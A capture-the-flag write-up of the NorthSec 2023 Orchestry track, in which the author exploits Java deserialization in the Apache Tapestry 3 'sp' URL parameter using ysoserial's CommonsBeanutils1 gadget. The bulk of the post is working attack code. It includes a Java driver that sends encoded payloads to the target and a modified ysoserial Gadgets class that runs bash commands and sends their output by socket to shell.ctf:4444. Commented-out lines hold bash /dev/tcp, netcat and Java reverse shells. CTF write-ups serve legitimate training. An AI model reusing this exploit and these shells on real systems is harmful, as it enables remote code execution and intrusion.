This post is a writeup of the Orchestry track at NorthSec 2023.
Introduction
I don’t have the exact forum website which gave the entrypoint of the track but from what I remember it pointed to an HTTPS URL.
Upon opening the URL, we are presented with a very old looking website. As soon as you played with the default URL (which worked) you ended up on an error page which had a lot of debugging information. Even just looking at the main.css file that the website attempted to load as its CSS would return this error page. There was a flag in the source code of this page to tell us we were on the right path.
The crucial piece of information for me on this page was that it revealed that it was a Tapestry 3 site. I did not know what framework it was, but I started looking for it. Apache Tapestry is a Java based web framework that is still active. However, version 3 is extremely old (2006). This is generally a hint, so I looked for CVE on Tapestry 3. The first hit for the Google search “tapestry 3 CVE” is this https://nvd.nist.gov/vuln/detail/CVE-2022-46366. A CVE opened in 2022 for a framework that is about 20 years old is interesting.
Java serialization
The CVE mentions that it is linked to deserialization of untrusted data, but there is not much more information. It does mention that it is similar to CVE-2020-17531. So I searched this CVE and found that it was in Tapestry 4 and related to deserialization of data in the “sp” parameter of the page. Now that was interesting as the “sp” parameter was the only parameter I had on the URL of the working page. It seemed to contain the page id of the page to display in my case.
At this point, I downloaded the whole source code for Apache Tapestry 3… using SVN as they had not moved to git. I could have simply downloaded the source archive from their downloads page, but I took the long route instead… I used to be a developer, so I opened the entire project in IntelliJ to index it and allow me to navigate it easily. The debug page for the website even gave stack traces when there were errors and it showed that the sp parameter was “unsqueezed”. This pointed me to the “DataSqueezer” class and this class uses a one letter prefix to determine which adaptor will be used to unsqueeze the data.
/** * Unsqueezes the string. Note that in a special case, where the first * character of the string is not a recognized prefix, it is assumed * that the string is simply a string, and return with no * change. * **/ public Object unsqueeze(String string) throws IOException { ISqueezeAdaptor adaptor = null; if (string.equals(NULL_PREFIX)) return null; int offset = string.charAt(0) - FIRST_ADAPTOR_OFFSET; if (offset >= 0 && offsetAdaptors:
private void registerDefaultAdaptors() { new CharacterAdaptor().register(this); new StringAdaptor().register(this); new IntegerAdaptor().register(this); new DoubleAdaptor().register(this); new ByteAdaptor().register(this); new FloatAdaptor().register(this); new LongAdaptor().register(this); new ShortAdaptor().register(this); new BooleanAdaptor().register(this); new SerializableAdaptor().register(this); new ComponentAddressAdaptor().register(this); new EnumAdaptor().register(this); }Further, there is a SerializableAdaptor which triggers with the prefix "O".
public Object unsqueeze(DataSqueezer squeezer, String string) throws IOException { ByteArrayInputStream bis = null; GZIPInputStream gis = null; ObjectInputStream ois = null; byte[] byteData; // Strip off the first character and decode the rest. byteData = decode(string.substring(1)); try { bis = new ByteArrayInputStream(byteData); gis = new GZIPInputStream(bis); ois = new ResolvingObjectInputStream(squeezer.getResolver(), gis); return ois.readObject(); } catch (ClassNotFoundException ex) { // The message is the name of the class. throw new IOException( Tapestry.format("SerializableAdaptor.class-not-found", ex.getMessage())); } finally { close(ois); close(gis); close(bis); } }To get RCE from untrusted java deserialization, you use ysoserial, it is a tool to generate payloads in various ways to execute code from the serialized object. In my case, the payloads did not work directly, so I decided to start writing an attack script. I wrote it in Java since I was a Java developer and ysoserial is written in Java allowing me easy ways to modify the payloads.
The attack
The first part of the script was relatively easy:
- Write a function that sent a request to the right page and dumped the response
- Prepare the data for SerializableAdaptor by "GZIP" the payload bytes and then encoding in a modified Base64 to put on the URL. Do not forget to add the "O" prefix
- Call the ysoserial internals in a loop to try all payloads
A lot of the payloads did not work because the necessary classes were not on the classpath. But there was one that seemed to be working better than the others: CommonsBeanutils1. However the stack trace helpfully told me that I did not have the right "serialVersionUid" value. This field is used by Java during deserialization to check whether you are deserializing a version of the class that is compatible with the version that was serialized. It seems the version of this class in ysoserial was not compatible with the one in Tapestry 3. In my case, I simply compiled a version of the BeanComparator class (which was causing the issue) with the right serialVersionUid because the stack trace indicated which number it was expecting.
At this point I had a working proof of concept, but I did not know it. Unfortunately, I spent a lot of time trying to get it to dump information in the web page to read it directly. At that point, I figured out that the application that was running was the "Workbench" a kind of demo application for Tapestry. I downloaded it, tweaked it a lot until it compiled and I was able to run it (this took a long time). But then I could debug in the code to see what my payloads were doing and I figured that it would be difficult to get the output in the displayed web page. However, in my local environment, the payloads were executed successfully. I created a simple payload that simply did a "Thread.sleep(10000)" to test whether my payloads were executing on the remote server as well and it worked, the page took 10s before showing the error page.
I had a lot of trouble opening a "true" reverse shell, so I created my own "poor man's reverse shell".
- I create a loop in my attack script that would accept commands on the command line repeatedly and send them to the attack machine
- I had to "hack" the Gadgets class in ysoserial to run the command, capture the output in a buffer and then send that buffer using a simple TCP connection to our shell machine
At that point, I could run commands and get their output. At first I restarted the netcat after each command on our shell machine, but my teammates told me I could simply add "-k" to have netcat keep accepting connections. With this, we got the second flag, it was in a file in the home folder of the user running Tapestry.
Bonus
The track wasn't done, there was a third flag. To get it, we had to navigate the machine a lot more. So I tweaked the gadgets some more until we got a "true" reverse shell. Tristan figured out that there was some process in /opt/connect that we had access to.
The code
This was a CTF, so the code is very messy and I took some shortcuts. I also left a lot of commented code that represents failed or intermediate attempts along the way.
Here is my attack script:
import org.apache.wicket.util.encoding.UrlEncoder; import ysoserial.GeneratePayload; import ysoserial.Serializer; import ysoserial.Strings; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.URLDNS; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.PrintStream; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLEncoder; import java.util.ArrayList; import java.util.Base64; import java.util.Collections; import java.util.Iterator; import java.util.List; import java.util.Scanner; import java.util.zip.GZIPOutputStream; public class Main { public static void main(String[] args) { Scanner scanner = new Scanner(System.in); String input = ""; while (true) { System.out.print("Enter a line of input (or 'quit' to exit):\n>"); String line = scanner.nextLine(); if (line.equalsIgnoreCase("quit")) { break; } System.out.println("You entered:\n" + input); try { tryCommand(line); } catch(Exception e) { e.printStackTrace(); } } scanner.close(); } public static void tryCommand(String cmd) throws Exception { //String command = "http://shell.ctf:4444/"; // String command = "nc -6 -e /bin/bash shell.ctf 4444"; String command = cmd; List> payloadClasses = new ArrayList(ObjectPayload.Utils.getPayloadClasses()); payloadClasses = Collections.singletonList(ysoserial.payloads.CommonsBeanutils1.class); //Collections.sort(payloadClasses, new Strings.ToStringComparator()); Iterator var2 = payloadClasses.iterator(); while(var2.hasNext()) { Class extends ObjectPayload> payloadClass = (Class) var2.next(); ObjectPayload payload = (ObjectPayload)payloadClass.newInstance(); System.out.println("Payload: " + payloadClass.getName() + "\n\n"); try { Object object = payload.getObject(command); ByteArrayOutputStream baos = new ByteArrayOutputStream(); GZIPOutputStream gzos = new GZIPOutputStream(baos); Serializer.serialize(object, gzos); gzos.close(); ByteArrayOutputStream baos2 = new ByteArrayOutputStream(); Serializer.serialize(object, baos2); //ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos2.toByteArray())); //Object o = ois.readObject(); //System.out.println(o); String base64 = Base64.getUrlEncoder().encodeToString(baos.toByteArray()).replaceAll("=", "."); //String encoded = URLEncoder.encode(base64); //System.out.println(encoded); String out = tryPayload(base64); System.out.println(base64); System.out.println(out); } catch(Throwable e) { e.printStackTrace(System.out); System.out.println("\n--------------------------\n\n"); } } } private static String tryPayload(String payload) { try { URL url = new URL("https://orchestry.ctf:8080/app?service=direct/1/Home/$Border.pageLink&sp=O" + payload); // URL url = new URL("https://localhost:8080/app?service=direct/1/Home/$Border.pageLink&sp=O" + payload); // create an HttpURLConnection object to open the connection HttpURLConnection con = (HttpURLConnection) url.openConnection(); // set request method to GET con.setRequestMethod("GET"); // read the response from the server Scanner scanner = new Scanner(con.getInputStream()); StringBuilder response = new StringBuilder(); while (scanner.hasNextLine()) { response.append(scanner.nextLine()); } scanner.close(); // print the response from the server return response.toString(); } catch (IOException e) { e.printStackTrace(); return null; } } }Here is the mangled Gadgets class from ysoserial:
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package ysoserial.payloads.util; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.Serializable; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.Arrays; import java.util.HashMap; import java.util.Map; import java.util.stream.Collectors; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; public class Gadgets { public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; public Gadgets() { }// 35 public static T createMemoitizedProxy(Map map, Class iface, Class>... ifaces) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);// 67 } public static InvocationHandler createMemoizedInvocationHandler(Map map) throws Exception { return (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);// 72 } public static T createProxy(InvocationHandler ih, Class iface, Class>... ifaces) { Class>[] allIfaces = (Class[])((Class[])Array.newInstance(Class.class, ifaces.length + 1));// 77 allIfaces[0] = iface;// 78 if (ifaces.length > 0) {// 79 System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);// 80 } return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));// 82 } public static Map createMap(String key, Object val) { Map map = new HashMap();// 87 map.put(key, val);// 88 return map;// 89 } public static Object createTemplatesImpl(String command) throws Exception { return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);// 94 95 97 98 99 102 } public static T createTemplatesImpl(String command, Class tplClass, Class> abstTranslet, Class> transFactory) throws Exception { T templates = tplClass.newInstance();// 108 ClassPool pool = ClassPool.getDefault();// 111 pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));// 112 pool.insertClassPath(new ClassClassPath(abstTranslet));// 113 CtClass clazz = pool.get(StubTransletPayload.class.getName());// 114 String[] commands = new String[] {"bash", "-c", command}; //String[] commands = command.split(" "); String actual = Arrays.stream(commands).map(s -> s.replace("\\", "\\\\").replace("\"", "\\\"")).collect(Collectors.joining("\",\"", "new String[]{\"", "\"}")); String cmd = "Process p = java.lang.Runtime.getRuntime().exec(" + actual + ");p.waitFor();byte[] output = new byte[100000];int r = p.getInputStream().read(output);data = (new String(output, 0, r))+\"\\n\\n\";";// 117 118 // String cmd = "Runtime r = Runtime.getRuntime();\n" + "Process p = r.exec(\"/bin/bash -c 'exec 5/dev/tcp/shell.ctf/4444;cat &5 >&5; done'\");\n" + "p.waitFor();"; // String cmd = "String host=\"shell.ctf\";\n" + "int port=4444;\n" + "String[] cmd= new String[]{\"cmd.exe\"};\n" // + "Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();"; cmd = sendString(cmd); // String cmd = "throw new java.lang.reflect.InvocationTargetException(new java.lang.OutOfMemoryError(\"test\"),\"Patate\");";// 117 118 // String cmd = "java.lang.Thread.sleep(10000L);";// 117 118 // String cmd = sendString(command); // String cmd = "java.net.URL url = new java.net.URL(\"http://shell.ctf:4444\");java.net.HttpURLConnection con = (java.net.HttpURLConnection) url.openConnection();";// 117 118 System.out.println(cmd); clazz.makeClassInitializer().insertAfter(cmd);// 120 clazz.setName("ysoserial.Pwner" + System.nanoTime());// 122 CtClass superC = pool.get(abstTranslet.getName());// 123 clazz.setSuperclass(superC);// 124 byte[] classBytes = clazz.toBytecode();// 126 Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});// 129 130 Reflections.setFieldValue(templates, "_name", "Pwnr");// 134 Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());// 135 return templates;// 136 } private static String sendString(String command) { String cmd = "String data = \"before\";try{" + command + "}catch(java.lang.Throwable e) {java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();java.io.PrintStream ps = new java.io.PrintStream(baos);e.printStackTrace(ps);ps.close();data=baos.toString();}"+ ";java.net.Socket socket = new java.net.Socket(\"shell.ctf\", 4444);java.io.OutputStream outputStream = socket.getOutputStream();outputStream.write(data.getBytes());outputStream.close();socket.close();";// 117 118 return cmd; } public static HashMap makeMap(Object v1, Object v2) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { HashMap s = new HashMap();// 142 Reflections.setFieldValue(s, "size", 2);// 143 Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node");// 146 } catch (ClassNotFoundException var6) {// 148 nodeC = Class.forName("java.util.HashMap$Entry");// 149 } Constructor nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);// 151 Reflections.setAccessible(nodeCons);// 152 Object tbl = Array.newInstance(nodeC, 2);// 154 Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));// 155 Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));// 156 Reflections.setFieldValue(s, "table", tbl);// 157 return s;// 158 } static { System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true");// 39 System.setProperty("java.rmi.server.useCodebaseOnly", "false");// 42 }// 43 public static class Foo implements Serializable { private static final long serialVersionUID = 8207363842866235160L; public Foo() { }// 60 } public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L; public StubTransletPayload() { }// 47 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }// 52 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }// 56 } }Remember that I also had to correct the serialVersionUid in BeanComparator, but this is a trivial change...